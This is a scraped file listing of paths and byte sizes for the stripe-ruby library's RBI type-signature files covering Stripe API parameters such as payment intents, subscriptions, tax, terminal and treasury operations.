bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/physical_bundle_retrieve_params.rbiasset567 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/token_list_params.rbiasset4,176 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/token_retrieve_params.rbiasset558 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/token_update_params.rbiasset786 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/transaction_create_force_capture_params.rbiasset27,032 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/transaction_create_unlinked_refund_params.rbiasset27,161 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/transaction_list_params.rbiasset4,593 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/transaction_refund_params.rbiasset1,028 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/transaction_retrieve_params.rbiasset564 bytesreference/references/stripe-ruby/rbi/stripe/params/issuing/transaction_update_params.rbiasset1,270 bytesreference/references/stripe-ruby/rbi/stripe/params/mandate_retrieve_params.rbiasset519 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_attempt_record_list_params.rbiasset1,647 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_attempt_record_retrieve_params.rbiasset532 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_intent_amount_details_line_item_list_params.rbiasset1,967 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_intent_apply_customer_balance_params.rbiasset1,761 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_intent_cancel_params.rbiasset939 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_intent_capture_params.rbiasset25,747 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_intent_confirm_params.rbiasset269,651 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_intent_create_params.rbiasset281,565 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_intent_increment_authorization_params.rbiasset25,396 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_intent_list_params.rbiasset4,305 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_intent_retrieve_params.rbiasset883 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_intent_search_params.rbiasset1,631 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_intent_update_params.rbiasset269,259 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_intent_verify_microdeposits_params.rbiasset1,263 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_link_create_params.rbiasset71,475 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_link_line_item_list_params.rbiasset1,952 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_link_list_line_items_params.rbiasset1,953 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_link_list_params.rbiasset2,316 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_link_retrieve_params.rbiasset523 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_link_update_params.rbiasset51,244 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_method_attach_params.rbiasset1,171 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_method_configuration_create_params.rbiasset105,137 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_method_configuration_list_params.rbiasset2,272 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_method_configuration_retrieve_params.rbiasset538 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_method_configuration_update_params.rbiasset105,130 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_method_create_params.rbiasset47,923 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_method_detach_params.rbiasset523 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_method_domain_create_params.rbiasset1,213 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_method_domain_list_params.rbiasset2,673 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_method_domain_retrieve_params.rbiasset531 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_method_domain_update_params.rbiasset940 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_method_domain_validate_params.rbiasset531 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_method_list_params.rbiasset3,593 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_method_retrieve_params.rbiasset525 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_method_update_params.rbiasset10,794 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_record_report_payment_attempt_canceled_params.rbiasset1,232 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_record_report_payment_attempt_failed_params.rbiasset1,212 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_record_report_payment_attempt_guaranteed_params.rbiasset1,248 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_record_report_payment_attempt_informational_params.rbiasset7,077 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_record_report_payment_attempt_params.rbiasset14,551 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_record_report_payment_params.rbiasset19,475 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_record_report_refund_params.rbiasset5,814 bytesreference/references/stripe-ruby/rbi/stripe/params/payment_record_retrieve_params.rbiasset525 bytesreference/references/stripe-ruby/rbi/stripe/params/payout_cancel_params.rbiasset516 bytesreference/references/stripe-ruby/rbi/stripe/params/payout_create_params.rbiasset4,298 bytesreference/references/stripe-ruby/rbi/stripe/params/payout_list_params.rbiasset5,714 bytesreference/references/stripe-ruby/rbi/stripe/params/payout_retrieve_params.rbiasset518 bytesreference/references/stripe-ruby/rbi/stripe/params/payout_reverse_params.rbiasset1,147 bytesreference/references/stripe-ruby/rbi/stripe/params/payout_update_params.rbiasset1,206 bytesreference/references/stripe-ruby/rbi/stripe/params/plan_create_params.rbiasset13,693 bytesreference/references/stripe-ruby/rbi/stripe/params/plan_delete_params.rbiasset157 bytesreference/references/stripe-ruby/rbi/stripe/params/plan_list_params.rbiasset4,187 bytesreference/references/stripe-ruby/rbi/stripe/params/plan_retrieve_params.rbiasset516 bytesreference/references/stripe-ruby/rbi/stripe/params/plan_update_params.rbiasset2,594 bytesreference/references/stripe-ruby/rbi/stripe/params/price_create_params.rbiasset24,870 bytesreference/references/stripe-ruby/rbi/stripe/params/price_list_params.rbiasset6,464 bytesreference/references/stripe-ruby/rbi/stripe/params/price_retrieve_params.rbiasset517 bytesreference/references/stripe-ruby/rbi/stripe/params/price_search_params.rbiasset1,605 bytesreference/references/stripe-ruby/rbi/stripe/params/price_update_params.rbiasset10,455 bytesreference/references/stripe-ruby/rbi/stripe/params/product_create_params.rbiasset22,187 bytesreference/references/stripe-ruby/rbi/stripe/params/product_delete_params.rbiasset160 bytesreference/references/stripe-ruby/rbi/stripe/params/product_feature_create_params.rbiasset874 bytesreference/references/stripe-ruby/rbi/stripe/params/product_feature_delete_params.rbiasset167 bytesreference/references/stripe-ruby/rbi/stripe/params/product_feature_list_params.rbiasset1,947 bytesreference/references/stripe-ruby/rbi/stripe/params/product_feature_retrieve_params.rbiasset526 bytesreference/references/stripe-ruby/rbi/stripe/params/product_list_params.rbiasset5,078 bytesreference/references/stripe-ruby/rbi/stripe/params/product_retrieve_params.rbiasset519 bytesreference/references/stripe-ruby/rbi/stripe/params/product_search_params.rbiasset1,611 bytesreference/references/stripe-ruby/rbi/stripe/params/product_update_params.rbiasset7,661 bytesreference/references/stripe-ruby/rbi/stripe/params/promotion_code_create_params.rbiasset7,687 bytesreference/references/stripe-ruby/rbi/stripe/params/promotion_code_list_params.rbiasset5,114 bytesreference/references/stripe-ruby/rbi/stripe/params/promotion_code_retrieve_params.rbiasset525 bytesreference/references/stripe-ruby/rbi/stripe/params/promotion_code_update_params.rbiasset3,499 bytesreference/references/stripe-ruby/rbi/stripe/params/quote_accept_params.rbiasset515 bytesreference/references/stripe-ruby/rbi/stripe/params/quote_cancel_params.rbiasset515 bytesreference/references/stripe-ruby/rbi/stripe/params/quote_computed_upfront_line_items_list_params.rbiasset1,962 bytesreference/references/stripe-ruby/rbi/stripe/params/quote_create_params.rbiasset28,657 bytesreference/references/stripe-ruby/rbi/stripe/params/quote_finalize_quote_params.rbiasset888 bytesreference/references/stripe-ruby/rbi/stripe/params/quote_line_item_list_params.rbiasset1,946 bytesreference/references/stripe-ruby/rbi/stripe/params/quote_list_computed_upfront_line_items_params.rbiasset1,962 bytesreference/references/stripe-ruby/rbi/stripe/params/quote_list_line_items_params.rbiasset1,947 bytesreference/references/stripe-ruby/rbi/stripe/params/quote_list_params.rbiasset3,262 bytesreference/references/stripe-ruby/rbi/stripe/params/quote_pdf_params.rbiasset512 bytesreference/references/stripe-ruby/rbi/stripe/params/quote_retrieve_params.rbiasset517 bytesreference/references/stripe-ruby/rbi/stripe/params/quote_update_params.rbiasset24,828 bytesreference/references/stripe-ruby/rbi/stripe/params/radar/early_fraud_warning_list_params.rbiasset4,440 bytesreference/references/stripe-ruby/rbi/stripe/params/radar/early_fraud_warning_retrieve_params.rbiasset568 bytesreference/references/stripe-ruby/rbi/stripe/params/radar/value_list_create_params.rbiasset2,136 bytesreference/references/stripe-ruby/rbi/stripe/params/radar/value_list_delete_params.rbiasset185 bytesreference/references/stripe-ruby/rbi/stripe/params/radar/value_list_item_create_params.rbiasset1,085 bytesreference/references/stripe-ruby/rbi/stripe/params/radar/value_list_item_delete_params.rbiasset189 bytesreference/references/stripe-ruby/rbi/stripe/params/radar/value_list_item_list_params.rbiasset4,303 bytesreference/references/stripe-ruby/rbi/stripe/params/radar/value_list_item_retrieve_params.rbiasset564 bytesreference/references/stripe-ruby/rbi/stripe/params/radar/value_list_list_params.rbiasset4,304 bytesreference/references/stripe-ruby/rbi/stripe/params/radar/value_list_retrieve_params.rbiasset560 bytesreference/references/stripe-ruby/rbi/stripe/params/radar/value_list_update_params.rbiasset1,716 bytesreference/references/stripe-ruby/rbi/stripe/params/refund_cancel_params.rbiasset516 bytesreference/references/stripe-ruby/rbi/stripe/params/refund_create_params.rbiasset5,230 bytesreference/references/stripe-ruby/rbi/stripe/params/refund_expire_params.rbiasset516 bytesreference/references/stripe-ruby/rbi/stripe/params/refund_list_params.rbiasset4,100 bytesreference/references/stripe-ruby/rbi/stripe/params/refund_retrieve_params.rbiasset518 bytesreference/references/stripe-ruby/rbi/stripe/params/refund_update_params.rbiasset1,206 bytesreference/references/stripe-ruby/rbi/stripe/params/reporting/report_run_create_params.rbiasset4,626 bytesreference/references/stripe-ruby/rbi/stripe/params/reporting/report_run_list_params.rbiasset3,712 bytesreference/references/stripe-ruby/rbi/stripe/params/reporting/report_run_retrieve_params.rbiasset564 bytesreference/references/stripe-ruby/rbi/stripe/params/reporting/report_type_list_params.rbiasset561 bytesreference/references/stripe-ruby/rbi/stripe/params/reporting/report_type_retrieve_params.rbiasset565 bytesreference/references/stripe-ruby/rbi/stripe/params/review_approve_params.rbiasset517 bytesreference/references/stripe-ruby/rbi/stripe/params/review_list_params.rbiasset3,494 bytesreference/references/stripe-ruby/rbi/stripe/params/review_retrieve_params.rbiasset518 bytesreference/references/stripe-ruby/rbi/stripe/params/setup_attempt_list_params.rbiasset3,928 bytesreference/references/stripe-ruby/rbi/stripe/params/setup_intent_cancel_params.rbiasset921 bytesreference/references/stripe-ruby/rbi/stripe/params/setup_intent_confirm_params.rbiasset101,115 bytesreference/references/stripe-ruby/rbi/stripe/params/setup_intent_create_params.rbiasset110,490 bytesreference/references/stripe-ruby/rbi/stripe/params/setup_intent_list_params.rbiasset5,264 bytesreference/references/stripe-ruby/rbi/stripe/params/setup_intent_retrieve_params.rbiasset893 bytesreference/references/stripe-ruby/rbi/stripe/params/setup_intent_update_params.rbiasset100,483 bytesreference/references/stripe-ruby/rbi/stripe/params/setup_intent_verify_microdeposits_params.rbiasset1,261 bytesreference/references/stripe-ruby/rbi/stripe/params/shipping_rate_create_params.rbiasset7,943 bytesreference/references/stripe-ruby/rbi/stripe/params/shipping_rate_list_params.rbiasset4,204 bytesreference/references/stripe-ruby/rbi/stripe/params/shipping_rate_retrieve_params.rbiasset524 bytesreference/references/stripe-ruby/rbi/stripe/params/shipping_rate_update_params.rbiasset4,134 bytesreference/references/stripe-ruby/rbi/stripe/params/sigma/scheduled_query_run_list_params.rbiasset2,023 bytesreference/references/stripe-ruby/rbi/stripe/params/sigma/scheduled_query_run_retrieve_params.rbiasset568 bytesreference/references/stripe-ruby/rbi/stripe/params/source_create_params.rbiasset24,697 bytesreference/references/stripe-ruby/rbi/stripe/params/source_detach_params.rbiasset516 bytesreference/references/stripe-ruby/rbi/stripe/params/source_retrieve_params.rbiasset864 bytesreference/references/stripe-ruby/rbi/stripe/params/source_transaction_list_params.rbiasset1,950 bytesreference/references/stripe-ruby/rbi/stripe/params/source_update_params.rbiasset19,669 bytesreference/references/stripe-ruby/rbi/stripe/params/source_verify_params.rbiasset761 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_cancel_params.rbiasset2,679 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_create_params.rbiasset74,474 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_delete_discount_params.rbiasset173 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_item_create_params.rbiasset12,978 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_item_delete_params.rbiasset1,685 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_item_list_params.rbiasset2,244 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_item_retrieve_params.rbiasset528 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_item_update_params.rbiasset13,365 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_list_params.rbiasset10,535 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_migrate_params.rbiasset2,305 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_resume_params.rbiasset2,212 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_retrieve_params.rbiasset524 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_schedule_cancel_params.rbiasset1,333 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_schedule_create_params.rbiasset60,562 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_schedule_list_params.rbiasset9,425 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_schedule_release_params.rbiasset919 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_schedule_retrieve_params.rbiasset532 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_schedule_update_params.rbiasset57,831 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_search_params.rbiasset1,626 bytesreference/references/stripe-ruby/rbi/stripe/params/subscription_update_params.rbiasset73,142 bytesreference/references/stripe-ruby/rbi/stripe/params/tax/association_find_params.rbiasset856 bytesreference/references/stripe-ruby/rbi/stripe/params/tax/calculation_create_params.rbiasset17,931 bytesreference/references/stripe-ruby/rbi/stripe/params/tax/calculation_line_item_list_params.rbiasset2,023 bytesreference/references/stripe-ruby/rbi/stripe/params/tax/calculation_list_line_items_params.rbiasset2,024 bytesreference/references/stripe-ruby/rbi/stripe/params/tax/calculation_retrieve_params.rbiasset560 bytesreference/references/stripe-ruby/rbi/stripe/params/tax/registration_create_params.rbiasset148,117 bytesreference/references/stripe-ruby/rbi/stripe/params/tax/registration_list_params.rbiasset2,319 bytesreference/references/stripe-ruby/rbi/stripe/params/tax/registration_retrieve_params.rbiasset561 bytesreference/references/stripe-ruby/rbi/stripe/params/tax/registration_update_params.rbiasset1,667 bytesreference/references/stripe-ruby/rbi/stripe/params/tax/settings_retrieve_params.rbiasset557 bytesreference/references/stripe-ruby/rbi/stripe/params/tax/settings_update_params.rbiasset5,019 bytesreference/references/stripe-ruby/rbi/stripe/params/tax/transaction_create_from_calculation_params.rbiasset2,405 bytesreference/references/stripe-ruby/rbi/stripe/params/tax/transaction_create_reversal_params.rbiasset6,909 bytesreference/references/stripe-ruby/rbi/stripe/params/tax/transaction_line_item_list_params.rbiasset2,023 bytesreference/references/stripe-ruby/rbi/stripe/params/tax/transaction_list_line_items_params.rbiasset2,024 bytesreference/references/stripe-ruby/rbi/stripe/params/tax/transaction_retrieve_params.rbiasset560 bytesreference/references/stripe-ruby/rbi/stripe/params/tax_code_list_params.rbiasset1,940 bytesreference/references/stripe-ruby/rbi/stripe/params/tax_code_retrieve_params.rbiasset519 bytesreference/references/stripe-ruby/rbi/stripe/params/tax_id_create_params.rbiasset3,673 bytesreference/references/stripe-ruby/rbi/stripe/params/tax_id_delete_params.rbiasset158 bytesreference/references/stripe-ruby/rbi/stripe/params/tax_id_list_params.rbiasset3,632 bytesreference/references/stripe-ruby/rbi/stripe/params/tax_id_retrieve_params.rbiasset517 bytesreference/references/stripe-ruby/rbi/stripe/params/tax_rate_create_params.rbiasset4,100 bytesreference/references/stripe-ruby/rbi/stripe/params/tax_rate_list_params.rbiasset4,127 bytesreference/references/stripe-ruby/rbi/stripe/params/tax_rate_retrieve_params.rbiasset519 bytesreference/references/stripe-ruby/rbi/stripe/params/tax_rate_update_params.rbiasset3,701 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/configuration_create_params.rbiasset53,007 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/configuration_delete_params.rbiasset192 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/configuration_list_params.rbiasset2,452 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/configuration_retrieve_params.rbiasset567 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/configuration_update_params.rbiasset53,307 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/connection_token_create_params.rbiasset1,253 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/location_create_params.rbiasset10,424 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/location_delete_params.rbiasset187 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/location_list_params.rbiasset2,017 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/location_retrieve_params.rbiasset562 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/location_update_params.rbiasset10,535 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/onboarding_link_create_params.rbiasset3,305 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/reader_cancel_action_params.rbiasset564 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/reader_collect_inputs_params.rbiasset8,159 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/reader_collect_payment_method_params.rbiasset4,199 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/reader_confirm_payment_intent_params.rbiasset2,033 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/reader_create_params.rbiasset2,226 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/reader_delete_params.rbiasset185 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/reader_list_params.rbiasset3,262 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/reader_present_payment_method_params.rbiasset4,558 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/reader_process_payment_intent_params.rbiasset4,678 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/reader_process_setup_intent_params.rbiasset2,466 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/reader_refund_payment_params.rbiasset4,577 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/reader_retrieve_params.rbiasset560 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/reader_set_reader_display_params.rbiasset3,812 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/reader_succeed_input_collection_params.rbiasset979 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/reader_timeout_input_collection_params.rbiasset574 bytesreference/references/stripe-ruby/rbi/stripe/params/terminal/reader_update_params.rbiasset1,508 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/confirmation_token_create_params.rbiasset65,049 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/customer_fund_cash_balance_params.rbiasset1,931 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_capture_params.rbiasset24,478 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_create_params.rbiasset35,228 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_expire_params.rbiasset613 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_finalize_amount_params.rbiasset13,310 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_increment_params.rbiasset1,609 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_respond_params.rbiasset966 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/authorization_reverse_params.rbiasset1,144 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/card_deliver_card_params.rbiasset609 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/card_fail_card_params.rbiasset606 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/card_return_card_params.rbiasset608 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/card_ship_card_params.rbiasset606 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/card_submit_card_params.rbiasset608 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/personalization_design_activate_params.rbiasset623 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/personalization_design_deactivate_params.rbiasset625 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/personalization_design_reject_params.rbiasset2,130 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/transaction_create_force_capture_params.rbiasset28,793 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/transaction_create_unlinked_refund_params.rbiasset28,922 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/issuing/transaction_refund_params.rbiasset1,087 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/refund_expire_params.rbiasset561 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/terminal/reader_present_payment_method_params.rbiasset4,969 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/terminal/reader_succeed_input_collection_params.rbiasset1,042 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/terminal/reader_timeout_input_collection_params.rbiasset623 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/test_clock_advance_params.rbiasset1,059 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/test_clock_create_params.rbiasset1,070 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/test_clock_delete_params.rbiasset191 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/test_clock_list_params.rbiasset2,021 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/test_clock_retrieve_params.rbiasset566 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/inbound_transfer_fail_params.rbiasset1,585 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/inbound_transfer_return_inbound_transfer_params.rbiasset631 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/inbound_transfer_succeed_params.rbiasset617 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/outbound_payment_fail_params.rbiasset614 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/outbound_payment_post_params.rbiasset614 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/outbound_payment_return_outbound_payment_params.rbiasset1,731 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/outbound_payment_update_params.rbiasset4,308 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/outbound_transfer_fail_params.rbiasset615 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/outbound_transfer_post_params.rbiasset615 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/outbound_transfer_return_outbound_transfer_params.rbiasset1,712 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/outbound_transfer_update_params.rbiasset4,321 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/received_credit_create_params.rbiasset5,431 bytesreference/references/stripe-ruby/rbi/stripe/params/test_helpers/treasury/received_debit_create_params.rbiasset5,424 bytesreference/references/stripe-ruby/rbi/stripe/params/token_create_params.rbiasset99,553 bytesreference/references/stripe-ruby/rbi/stripe/params/token_retrieve_params.rbiasset517 bytesreference/references/stripe-ruby/rbi/stripe/params/topup_cancel_params.rbiasset515 bytesreference/references/stripe-ruby/rbi/stripe/params/topup_create_params.rbiasset3,370 bytesreference/references/stripe-ruby/rbi/stripe/params/topup_list_params.rbiasset5,416 bytesreference/references/stripe-ruby/rbi/stripe/params/topup_retrieve_params.rbiasset517 bytesreference/references/stripe-ruby/rbi/stripe/params/topup_update_params.rbiasset1,526 bytesreference/references/stripe-ruby/rbi/stripe/params/transfer_create_params.rbiasset3,972 bytesreference/references/stripe-ruby/rbi/stripe/params/transfer_list_params.rbiasset4,143 bytesreference/references/stripe-ruby/rbi/stripe/params/transfer_retrieve_params.rbiasset520 bytesreference/references/stripe-ruby/rbi/stripe/params/transfer_reversal_create_params.rbiasset2,719 bytesreference/references/stripe-ruby/rbi/stripe/params/transfer_reversal_list_params.rbiasset1,949 bytesreference/references/stripe-ruby/rbi/stripe/params/transfer_reversal_retrieve_params.rbiasset528 bytesreference/references/stripe-ruby/rbi/stripe/params/transfer_reversal_update_params.rbiasset1,216 bytesreference/references/stripe-ruby/rbi/stripe/params/transfer_update_params.rbiasset1,529 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/credit_reversal_create_params.rbiasset1,474 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/credit_reversal_list_params.rbiasset2,978 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/credit_reversal_retrieve_params.rbiasset568 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/debit_reversal_create_params.rbiasset1,466 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/debit_reversal_list_params.rbiasset3,270 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/debit_reversal_retrieve_params.rbiasset567 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/financial_account_close_params.rbiasset2,298 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/financial_account_create_params.rbiasset16,987 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/financial_account_features_retrieve_params.rbiasset578 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/financial_account_features_update_params.rbiasset12,977 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/financial_account_list_params.rbiasset3,487 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/financial_account_retrieve_features_params.rbiasset578 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/financial_account_retrieve_params.rbiasset570 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/financial_account_update_features_params.rbiasset12,977 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/financial_account_update_params.rbiasset18,401 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/inbound_transfer_cancel_params.rbiasset567 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/inbound_transfer_create_params.rbiasset3,254 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/inbound_transfer_fail_params.rbiasset1,448 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/inbound_transfer_list_params.rbiasset2,703 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/inbound_transfer_retrieve_params.rbiasset569 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/inbound_transfer_return_inbound_transfer_params.rbiasset582 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/inbound_transfer_succeed_params.rbiasset568 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_payment_cancel_params.rbiasset567 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_payment_create_params.rbiasset17,150 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_payment_fail_params.rbiasset565 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_payment_list_params.rbiasset4,682 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_payment_post_params.rbiasset565 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_payment_retrieve_params.rbiasset569 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_payment_return_outbound_payment_params.rbiasset1,590 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_payment_update_params.rbiasset3,948 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_transfer_cancel_params.rbiasset568 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_transfer_create_params.rbiasset7,208 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_transfer_fail_params.rbiasset566 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_transfer_list_params.rbiasset2,715 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_transfer_post_params.rbiasset566 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_transfer_retrieve_params.rbiasset570 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_transfer_return_outbound_transfer_params.rbiasset1,571 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/outbound_transfer_update_params.rbiasset3,961 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/received_credit_create_params.rbiasset5,108 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/received_credit_list_params.rbiasset3,542 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/received_credit_retrieve_params.rbiasset568 bytesreference/references/stripe-ruby/rbi/stripe/params/treasury/received_debit_create_params.rbiasset5,101 